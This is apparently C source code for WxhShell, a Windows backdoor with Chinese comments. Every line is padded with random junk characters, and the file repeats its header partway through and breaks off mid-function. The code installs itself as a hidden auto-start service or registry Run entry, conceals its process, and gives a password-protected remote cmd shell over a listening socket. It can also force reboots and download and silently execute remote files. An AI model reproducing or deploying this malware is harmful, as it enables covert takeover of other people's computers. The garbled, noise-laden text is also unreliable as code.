    if(Boot(SHUTDOWN)) PBCGC^0{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ix4]^  
    else { SnQT1U%  
    closesocket(wsh); @;P ;iI  
    ExitThread(0); W Eif&<Y  
    } pC>h"Hy  
    break; CCe>*tdf  
    } |&rCXfC  
  // 获取shell BB(6[V"SV  
  case 's': { *Z_4bR4Q  
    CmdShell(wsh); {#k[-\|;  
    closesocket(wsh); 8mKp PwG0  
    ExitThread(0); o25rKC=o  
    break; Lm2) 3;ei  
  } &t AYF_}  
  // 退出 -R:_o1"  
  case 'x': { cS9jGD92  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;ISnI  
    CloseIt(wsh); Coe/4! $M  
    break; .Lna\Bv  
    } eOE*$pH  
  // 离开 %8tE*3iUF  
  case 'q': { @|vH5Pi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }\?9Prsd  
    closesocket(wsh); -;L'Jb>s76  
    WSACleanup(); </`\3t  
    exit(1); WJnGF3G>  
    break; }QE*-GVv]  
        } K8&;B)VT>  
  } c Pf_B=  
  } #6< 1 =I'j  
OpEH4X.Z  
  // 提示信息 F. SB_S<'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j/d}B_2  
} y]fI7nu&  
  } gE#'Zv{7  
yQ N{)rv  
  return; ^D$|$=|DH  
} \xCCJWek  
=zcvR {Dkp  
// shell模块句柄 CC`_e^~y=F  
int CmdShell(SOCKET sock) \toU zTT  
{ $3g{9)}  
STARTUPINFO si; g=56|G7n  
ZeroMemory(&si,sizeof(si)); i#`q<+/q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \H@1VgmR;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c_D(%Vf5  
PROCESS_INFORMATION ProcessInfo; _b~{/[s  
char cmdline[]="cmd"; aLGq<6Ja  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lr$M k#'B  
  return 0; {4G/HW28  
} K%? g6j  
j fY7ich  
// 自身启动模式 =\WF +r]V  
int StartFromService(void) r@{TN6U  
{ !ka* rd  
typedef struct !B}9gT  
{ 3uqhYT;  
  DWORD ExitStatus; Ww2@!ng  
  DWORD PebBaseAddress; _xp8*2~-  
  DWORD AffinityMask; Mz(Vf1pi%  
  DWORD BasePriority; 0B]q /G(  
  ULONG UniqueProcessId; +y?Ilkk;j  
  ULONG InheritedFromUniqueProcessId; Z,.Hz\y1D  
}   PROCESS_BASIC_INFORMATION; WR"D7{>tw  
YOD.y!.zq7  
PROCNTQSIP NtQueryInformationProcess; TQF+aP8[L  
GBbnR:hM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qJrT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c>B1cR  
:x*)o+  
  HANDLE             hProcess; IT_I.5*A2  
  PROCESS_BASIC_INFORMATION pbi; ]]O( IC  
5*pzL0,Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "%gsGtS  
  if(NULL == hInst ) return 0; g 4[Vgmh J  
!wfW0?eu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9Ux(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MYWkEv7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =1l6( pJ  
rG-T Dm  
  if (!NtQueryInformationProcess) return 0; .:r~?$(  
?dgyi4J?=`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q!e560@  
  if(!hProcess) return 0;  6st  
:CyHo6o9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J,2V&WuV0r  
D0r viO  
  CloseHandle(hProcess); FPDTw8" B;  
CI'RuR3y]Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iAwEnQ3h  
if(hProcess==NULL) return 0; ^a4z*#IOr  
x;n3 Zr;(  
HMODULE hMod; D(AH3`*|#  
char procName[255]; 6}"c4 ^k6  
unsigned long cbNeeded; dI{DiPho  
~|V^IJZ22  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); faDSyBLo  
L (Y1ey9x  
  CloseHandle(hProcess); ai{>rO3 }I  
f2i:I1 p("  
if(strstr(procName,"services")) return 1; // 以服务启动 08`|C)Z!  
#Vq9 =Q2  
  return 0; // 注册表启动 :aesG7=O  
} E#B-JLMGl  
?l0eU@rwQ  
// 主模块 E7:xPNU  
int StartWxhshell(LPSTR lpCmdLine) Iux3f+H  
{ @Jzk2,rI  
  SOCKET wsl; K3yQ0k |  
BOOL val=TRUE; !GqFX+!Ju  
  int port=0; ,@`?I6nKy  
  struct sockaddr_in door; Ttluh *  
8D='N`cN+  
  if(wscfg.ws_autoins) Install(); Jj"{C]  
k6(7G@@}  
port=atoi(lpCmdLine); E(jZ Do  
ZEP?~zV\A  
if(port<=0) port=wscfg.ws_port; HL38iXQ( 3  
h: ' |)O  
  WSADATA data; VfX^iG r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g4IF~\QRVi  
lB,1dw2(T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w&p+mJL.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3 jZMXEG)  
  door.sin_family = AF_INET; 4b8G 1fm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C0wtMD:G  
  door.sin_port = htons(port); ~]?:v,UIm(  
 Aqy w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1)ue-(o5  
closesocket(wsl); uE-(^u  
return 1; 4ax{Chn  
} sTM;l,  
T6U/}&{O  
  if(listen(wsl,2) == INVALID_SOCKET) { zJe KB8  
closesocket(wsl); oP&/>GmXL  
return 1; z5E%*]  
} (Rw<1q`,  
  Wxhshell(wsl); KGz Nj%  
  WSACleanup(); 1 /. BP  
Bm$|XS3cD  
return 0; l4bytI{63  
ig,.>'+l  
} o*cu-j3  
cq1 5@a mX  
// 以NT服务方式启动 qX\*l m/l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <xI<^r'C9e  
{ U"PcNQy  
DWORD   status = 0; Hn|W3U  
  DWORD   specificError = 0xfffffff; )4yP(6|lx  
8dGsV5"*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BI1M(d#1L"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,>;21\D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aZFpt/.d  
  serviceStatus.dwWin32ExitCode     = 0; $D bnPZ2$  
  serviceStatus.dwServiceSpecificExitCode = 0; 17LhgZs&  
  serviceStatus.dwCheckPoint       = 0; W0qR? jc  
  serviceStatus.dwWaitHint       = 0; rq+_ [!  
xe@1H\7:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5'AP:3Gf"  
  if (hServiceStatusHandle==0) return; nBh+UT}  
E9:@H;Gc  
status = GetLastError(); LOh2eZ"n  
  if (status!=NO_ERROR) SyWZOE%p  
{ :gVUk\)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V ao:9 ~  
    serviceStatus.dwCheckPoint       = 0; "-~ 7lY%  
    serviceStatus.dwWaitHint       = 0; kwI``7g8*e  
    serviceStatus.dwWin32ExitCode     = status; 0U '"@A \  
    serviceStatus.dwServiceSpecificExitCode = specificError; lSxb:$g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Br1R++]  
    return; T[oC='I+O  
  } u#0snw~)/  
]}2)U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w0Qtr>"  
  serviceStatus.dwCheckPoint       = 0; ,;k+n)  
  serviceStatus.dwWaitHint       = 0; osW"wh_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >B BV/C'9  
} kK6O ZhLH  
G@]3EP  
// 处理NT服务事件,比如:启动、停止 Hfcpqa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jj4 HJ9  
{ I2Xd"RHN  
switch(fdwControl) @\K[WqF$$q  
{ g'"~'  
case SERVICE_CONTROL_STOP: #}`sfaT  
  serviceStatus.dwWin32ExitCode = 0; ~6G `k^!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &7L7|{18  
  serviceStatus.dwCheckPoint   = 0; @X==[gQ  
  serviceStatus.dwWaitHint     = 0; q+ax]=w  
  { MpV<E0CmE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e4z`:%vy  
  } Z)?$ZI@  
  return; <kh.fu@.Q  
case SERVICE_CONTROL_PAUSE: -F5B Jk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; honh 'j  
  break; $0])%   
case SERVICE_CONTROL_CONTINUE: 6u[fCGi%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Rh>B# \  
  break; $7x2TiAL  
case SERVICE_CONTROL_INTERROGATE: s8h*nZ)v  
  break; <b 5DX  
}; Aoe\\'O|V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Fn\ycX#"l  
} _$~>O7  
7J'%;sH  
// 标准应用程序主函数 zl0{lV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ak'=l;  
{ _imuyt".+  
{ bj!]j  
// 获取操作系统版本 EVmBLH-a  
OsIsNt=GetOsVer(); 6^`iuC5  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  X\^nV  
1I Xtu   
  // 从命令行安装 )Z7Vm2a  
  if(strpbrk(lpCmdLine,"iI")) Install(); X\^V{v^-  
 wJp<ZL  
  // 下载执行文件 hnj\|6L  
if(wscfg.ws_downexe) { ,9&cIUH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !_fDL6a-  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?UnQ?F(+G<  
} Jf YgZ\#  
Kz HYh  
if(!OsIsNt) { lC<;Q*Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 ' zyw-1  
HideProc(); i|:!I)(lh  
StartWxhshell(lpCmdLine); -|>~I#vY  
} G m~ ./-  
else 5.rAxdP  
  if(StartFromService()) $dC`keQM>9  
  // 以服务方式启动 Sd7jd?#9'  
  StartServiceCtrlDispatcher(DispatchTable); !=0h*=NOYt  
else L\Se ,  
  // 普通方式启动 lY%I("2=  
  StartWxhshell(lpCmdLine); N>mW64_H)  
.j}]J:{%  
return 0; ORM>|&  
} HuhQ|~C+~  
\Y P,}_ ~  
E7Lqa S  
gV_v5sk  
=========================================== q*I*B1p[m  
UU=]lWib  
0eY!Z._^  
L2H  
j.E=WLKV*  
#GzALF97  
" xSY"Ru  
qTsy'y;Z  
#include <stdio.h> zdN[Uc+1Bd  
#include <string.h> b:==:d:0s  
#include <windows.h> z.Cj%N  
#include <winsock2.h> g5V\R*{  
#include <winsvc.h> &Ok1j0~~  
#include <urlmon.h> #asg5 }  
qC`}vr|Z  
#pragma comment (lib, "Ws2_32.lib") C- .;m  
#pragma comment (lib, "urlmon.lib") g'.OzD  
;1k& }v&  
#define MAX_USER   100 // 最大客户端连接数 E&U_1D9=L<  
#define BUF_SOCK   200 // sock buffer >kXscbRL7  
#define KEY_BUFF   255 // 输入 buffer HTQZIm  
 -WC0W  
#define REBOOT     0   // 重启 K[[~G1Z  
#define SHUTDOWN   1   // 关机 ee {ToK  
+B*]RL[th  
#define DEF_PORT   5000 // 监听端口 kwjO5 OC8  
_ *f>UW*,  
#define REG_LEN     16   // 注册表键长度 omE- c  
#define SVC_LEN     80   // NT服务名长度 =AIts[!qd  
v[dU UR f  
// 从dll定义API xf,[F8 2y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3h7RQ:lUi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8dE0y P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qTJhYxm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (&}[2pb!  
)Q2IYCj{  
// wxhshell配置信息 U5Hi9fe  
struct WSCFG { ]]j^  
  int ws_port;         // 监听端口 {&5lZ<nu8A  
  char ws_passstr[REG_LEN]; // 口令 m8sd2&4  
  int ws_autoins;       // 安装标记, 1=yes 0=no .}==p&(  
  char ws_regname[REG_LEN]; // 注册表键名 f-%M~:  
  char ws_svcname[REG_LEN]; // 服务名 (/:m*x*6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {JE [  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IkCuw./  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "6B@V=d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T^v763%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .a4,Lr#q.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o[Ffa# sE  
|A&;m}(Mt  
}; 8$IKQNS  
$d<NN2  
// default Wxhshell configuration >@vu;j\*E5  
struct WSCFG wscfg={DEF_PORT, b-u@?G|<  
    "xuhuanlingzhe", 9nFL70  
    1, VZ9 p "  
    "Wxhshell", N/tcW  
    "Wxhshell", E)-;sFz  
            "WxhShell Service", 7zu\tCWb  
    "Wrsky Windows CmdShell Service", ]8A*uyi  
    "Please Input Your Password: ", `~XksyT  
  1, }e\"VhAl/  
  "http://www.wrsky.com/wxhshell.exe", 2!#g\"  
  "Wxhshell.exe" #^}H)>jWy  
    }; oU\]#e^  
Rqe. =+Qs  
// 消息定义模块 xfRp_;l+R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^KhJBM/Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y`g oV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :\^b6"}8  
char *msg_ws_ext="\n\rExit."; D ,kxB~  
char *msg_ws_end="\n\rQuit."; #`iEbiSq  
char *msg_ws_boot="\n\rReboot..."; Y 9$jJ1V  
char *msg_ws_poff="\n\rShutdown..."; ~1O|4mssS  
char *msg_ws_down="\n\rSave to "; \F|)w|v  
=u2 z3$  
char *msg_ws_err="\n\rErr!"; od=hCQ1 >  
char *msg_ws_ok="\n\rOK!"; orjtwF>^  
p9"dm{  
char ExeFile[MAX_PATH]; UT;%I_i!'  
int nUser = 0; D;en!.[Z  
HANDLE handles[MAX_USER]; m.D8@[y  
int OsIsNt; x?S86,RW  
FX!KX/OE)  
SERVICE_STATUS       serviceStatus; ~.T|n =  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w)7y{ya$  
;W- A2g  
// 函数声明 x?L0R{?WW  
int Install(void); gmVN(K}SR5  
int Uninstall(void); a2P)@R  
int DownloadFile(char *sURL, SOCKET wsh); NjIPHM$g  
int Boot(int flag); =Kj{wA O  
void HideProc(void); B $u/n  
int GetOsVer(void); _=HaE&  
int Wxhshell(SOCKET wsl); |dR}S!fmG  
void TalkWithClient(void *cs); /@\`Ibe  
int CmdShell(SOCKET sock); wUaWF$~y  
int StartFromService(void); 8?Rp2n*o  
int StartWxhshell(LPSTR lpCmdLine); y8YsS4E^Q  
"^&H9.z,v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _d 6'f8[&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k'8tcXs  
F\eQV<  
// 数据结构和表定义 8UU L=  
SERVICE_TABLE_ENTRY DispatchTable[] = lC($@sC%  
{ m!ZY]:)$  
{wscfg.ws_svcname, NTServiceMain}, 9J/[7TzSZ  
{NULL, NULL} YE`Y t  
}; 7qqzL_d>  
8KJUC&`  
// 自我安装 :i&]J$^;  
int Install(void) ,7d/KJ^7  
{ F^GNOD3J  
  char svExeFile[MAX_PATH]; e]VW\ 6J&  
  HKEY key; c^I^jg2v  
  strcpy(svExeFile,ExeFile); Bz/ba *  
7(}'jZ  
// 如果是win9x系统,修改注册表设为自启动 Y"lEMY  
if(!OsIsNt) { Ph yIea  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 35l%iaj]G5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /ZyMD(_J  
  RegCloseKey(key); ]W;6gmV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YYpC!)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sJLOz>  
  RegCloseKey(key); u\ _yjv#  
  return 0; e|oMbTZ5m  
    } &dtst??  
  } )#i@DHt=  
} >ZJ]yhbhK  
else { 8&U Mmbgy  
0si1:+t-[+  
// 如果是NT以上系统,安装为系统服务 Mp/l*"(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X,G<D}  
if (schSCManager!=0) NK qI x  
{ 4s 7 RB  
  SC_HANDLE schService = CreateService pg%(6dqK4  
  ( j!agD_J  
  schSCManager, !=eNr<:V.  
  wscfg.ws_svcname, r#OPW7mhE  
  wscfg.ws_svcdisp, .e7tq\k  
  SERVICE_ALL_ACCESS, i.^ytbH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rq|6d M6H  
  SERVICE_AUTO_START, ) A:h  
  SERVICE_ERROR_NORMAL, a <C?- g|  
  svExeFile, JOuyEPy  
  NULL, opH!sa@U  
  NULL, *;@wPT  
  NULL, 3RaW\cWzg  
  NULL, _^W;J/He  
  NULL ;qaPK2 a8  
  ); nF'YG+;|@  
  if (schService!=0) P!]uJ8bi  
  {  ,]EhDW6  
  CloseServiceHandle(schService); F `7 v  
  CloseServiceHandle(schSCManager); g ` s|]VNt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0!,uo\`  
  strcat(svExeFile,wscfg.ws_svcname); =.z;:0]'n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wxj_DTi[1"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bL xZ 5C7t  
  RegCloseKey(key); fHd[8{;P:  
  return 0; 5QiQDQT}5  
    } !'H$08Ql}  
  } '^TeV=  
  CloseServiceHandle(schSCManager); :EOai%i  
} Jw _>I  
} 'Ou C[$Z  
.=;IdLO,Bf  
return 1; %>$<s<y  
} bB?E(>N;  
g4A{RI  
// 自我卸载 8)>x)T  
int Uninstall(void) @ZU$W9g  
{ 9:p-F+  
  HKEY key; Aax;0qGbH  
l~"T>=jq3  
if(!OsIsNt) { SAdT#0J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2 `>a(  
  RegDeleteValue(key,wscfg.ws_regname); cCZp6^/<x  
  RegCloseKey(key); %rb$tKk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9nN1f@Y  
  RegDeleteValue(key,wscfg.ws_regname); 36{GZDGQ  
  RegCloseKey(key); >[Vc$[62  
  return 0; J$51z  
  } n1PptR  
} 3SIq od;%  
} :V.@:x>id  
else { U,P>P+\@  
Ms|c" ?se  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qn8xe,  
if (schSCManager!=0) I]C Y>'  
{ 3aq'JVq   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0o+Yjg>\~8  
  if (schService!=0) o=R(DK# U  
  { R` < ^/h  
  if(DeleteService(schService)!=0) { b;b,t0wS  
  CloseServiceHandle(schService); ZxNTuGOB:  
  CloseServiceHandle(schSCManager); 5;}W=x^$a  
  return 0; EQ273sdK  
  } i*=~m O8E  
  CloseServiceHandle(schService); os{ iY  
  } *#YZm>h   
  CloseServiceHandle(schSCManager); U1r]e%df)  
} ~Fuq{e9`  
} XY| y1L 3[  
44} 5o  
return 1; jM\{*!7b  
} &1Ndi<Y^  
_94 W@dW  
// 从指定url下载文件 J>  
int DownloadFile(char *sURL, SOCKET wsh) B`mJT*B[  
{ U|3!ixk>>w  
  HRESULT hr; Nhs!_-_I  
char seps[]= "/"; zzZ EX  
char *token; C=+9XfP0  
char *file; ]zlA<w8  
char myURL[MAX_PATH]; hiS|&5#  
char myFILE[MAX_PATH]; E@ :9|5  
U=bx30brh%  
strcpy(myURL,sURL); L"&T3i  
  token=strtok(myURL,seps); Z8 v8@Y  
  while(token!=NULL) _P.I+!w:x  
  { %C_tBNE <  
    file=token; LH4A!a]  
  token=strtok(NULL,seps); :$"{-n  
  } Y_CVDKdcY  
V^,gpTyv*  
GetCurrentDirectory(MAX_PATH,myFILE); _4N.]jr5  
strcat(myFILE, "\\"); mU-2s%X<.^  
strcat(myFILE, file); w5 .^meU  
  send(wsh,myFILE,strlen(myFILE),0); G[mqLI{q  
send(wsh,"...",3,0); Lyhuyb)k5^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  ?CAU+/  
  if(hr==S_OK) - UkK$wP5  
return 0; c;kU|_  
else m,Y/ke\  
return 1; ZK]qQrIwy  
{J==y;dK  
} Bg]VaTm[=  
Ow4_0l&  
// 系统电源模块 -LiGO#U  
int Boot(int flag) Jb"FY:/Qv+  
{ eS!]..%y  
  HANDLE hToken; 6o^>q&e}%  
  TOKEN_PRIVILEGES tkp; -{0Pq.v  
|E >h*Y  
  if(OsIsNt) { K+`GVmD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WhW}ZS'r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bJ_rU35s>  
    tkp.PrivilegeCount = 1; aLh(8;$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sYS 8]JU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #p(c{L!  
if(flag==REBOOT) { t,9+G<)>H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2V@5:tf  
  return 0; Y_Gd_+oJ  
} =v<w29P(g  
else { YcA. Bn|as  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %k#+nad  
  return 0; b23A&1X  
} "\@J0 |ppb  
  } Ve(<s  
  else {  zjUQ]  
if(flag==REBOOT) { Gt&yz"?D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %"f85VfZ  
  return 0; 9Q1%+zjjMq  
} CC=I|/mBM  
else { >\1twd{u]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E,m|E]WP  
  return 0; ~ =u8H  
} 4;L|Ua  
} Z+ k) N  
hA ){>B<;  
return 1; lf`ULY4{  
} =Q 9^|&6  
~Fb@E0 }!  
// win9x进程隐藏模块 |X=p`iz1&  
void HideProc(void) rpiuFst  
{ QKP #wR  
=wX;OK|U(^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >3/ mV<g f  
  if ( hKernel != NULL ) 'f{13-# X@  
  { q(qm3OxYo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c= t4 gf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c6F?#@?   
    FreeLibrary(hKernel); }p?,J8=-  
  } l?)>"^  
Wq3PN^  
return; h^(U:M=A  
} G|jHic!  
>l 0aME@-0  
// 获取操作系统版本 (/uN+   
int GetOsVer(void) H}r]j\  
{ h> bjG  
  OSVERSIONINFO winfo; 2;sTSGDG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %/3+:}@G  
  GetVersionEx(&winfo); >c0leT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d9JAt-6z2  
  return 1; qVh?%c1.Y  
  else MX]#|hEeQ  
  return 0; Lz1KDXr`)+  
} _t-6m2A  
3YLK?X8  
// 客户端句柄模块 |$/#,Dv7  
int Wxhshell(SOCKET wsl) g R!hN.I  
{ :WWHEZK  
  SOCKET wsh; h.?<( I  
  struct sockaddr_in client; ky|kg@n{  
  DWORD myID; ;}6wj@8He  
L&+k`b  
  while(nUser<MAX_USER) lai@,_<GV  
{ eM!Oc$C8[  
  int nSize=sizeof(client); Ly(iq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (^~a1@f,J  
  if(wsh==INVALID_SOCKET) return 1; K_+M?ap_  
<,DMD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t? &;   
if(handles[nUser]==0) aO$0[-A  
  closesocket(wsh); 7a_8007$l  
else 9%kO%j,3  
  nUser++; <&[`  +  
  } #*:1Ch]B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <q'?[aKvR  
 zr ez*  
  return 0; Srw`vql{(  
} "d-vs t5  
5dv|NLl  
// 关闭 socket 1;m?:|6K{  
void CloseIt(SOCKET wsh) AM?ZhM  
{ \GHj_r  
closesocket(wsh); k @fxs]Y_L  
nUser--; )r"R  
ExitThread(0); Z<|x6%  
} B[mZQ&Gz`a  
@8\0@[]  
// 客户端请求句柄 v3[ZPc;;  
void TalkWithClient(void *cs) Ew]&~:$Ki  
{ LntRLB'  
'\QJ{/JV  
  SOCKET wsh=(SOCKET)cs; T=w0T-[f  
  char pwd[SVC_LEN]; j 7);N  
  char cmd[KEY_BUFF]; [|$C2Dhw=  
char chr[1]; DPY+{5q2  
int i,j; r!w4Br0  
IHW s<U  
  while (nUser < MAX_USER) { [6K[P3UZx  
iaMl>ua  
if(wscfg.ws_passstr) { '~yxu$aK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O\q6T7bfRW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !*DY dqQ/  
  //ZeroMemory(pwd,KEY_BUFF); M.SF}U  
      i=0; 0XljFQ  
  while(i<SVC_LEN) { DCa=o  
;]R5:LbXS  
  // 设置超时 KKk<wya&O  
  fd_set FdRead; YA+R!t:F{  
  struct timeval TimeOut; d?5oJ'JU  
  FD_ZERO(&FdRead); 2 .Xx)(>  
  FD_SET(wsh,&FdRead); 43=)akJi  
  TimeOut.tv_sec=8; YpZuAJm<2_  
  TimeOut.tv_usec=0; ~2[kCuu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T g(\7Kq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i%i s<'  
B{` K?e0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q+qF;7dN@  
  pwd=chr[0]; [fwk[qFa  
  if(chr[0]==0xd || chr[0]==0xa) { K d#(eGe  
  pwd=0; ~"bBwPI  
  break; sOz {spA  
  } H9;IA>  
  i++;  ^[I> #U  
    } yz>S($u  
1.,KN:qe  
  // 如果是非法用户,关闭 socket t\:=|t,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <2O#!bX1  
} y'6lfThT  
|d\1xTBLp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6[FXgCb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <D&  Ep  
V~8]ag4  
while(1) { lRS'M,/  
)~xH!%4F  
  ZeroMemory(cmd,KEY_BUFF); lV./K;\T  
[g@Uc  
      // 自动支持客户端 telnet标准   &D|+tu{  
  j=0; -oZw+ge}  
  while(j<KEY_BUFF) { Fv(FRZ)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b5~p:f-&4B  
  cmd[j]=chr[0]; i u0'[  
  if(chr[0]==0xa || chr[0]==0xd) { CZ^ ,bad  
  cmd[j]=0; ]"O* &  
  break; ~md06"AYJ  
  } h8k\~/iJ  
  j++; h0x'QiCc  
    } Jz0AYiCq  
_/ 5  
  // 下载文件 3k8nWT:wT  
  if(strstr(cmd,"http://")) { < h|&7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %"#ydOy  
  if(DownloadFile(cmd,wsh)) {a2Gb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3*?W2;Zw$  
  else =~,2E;#X  
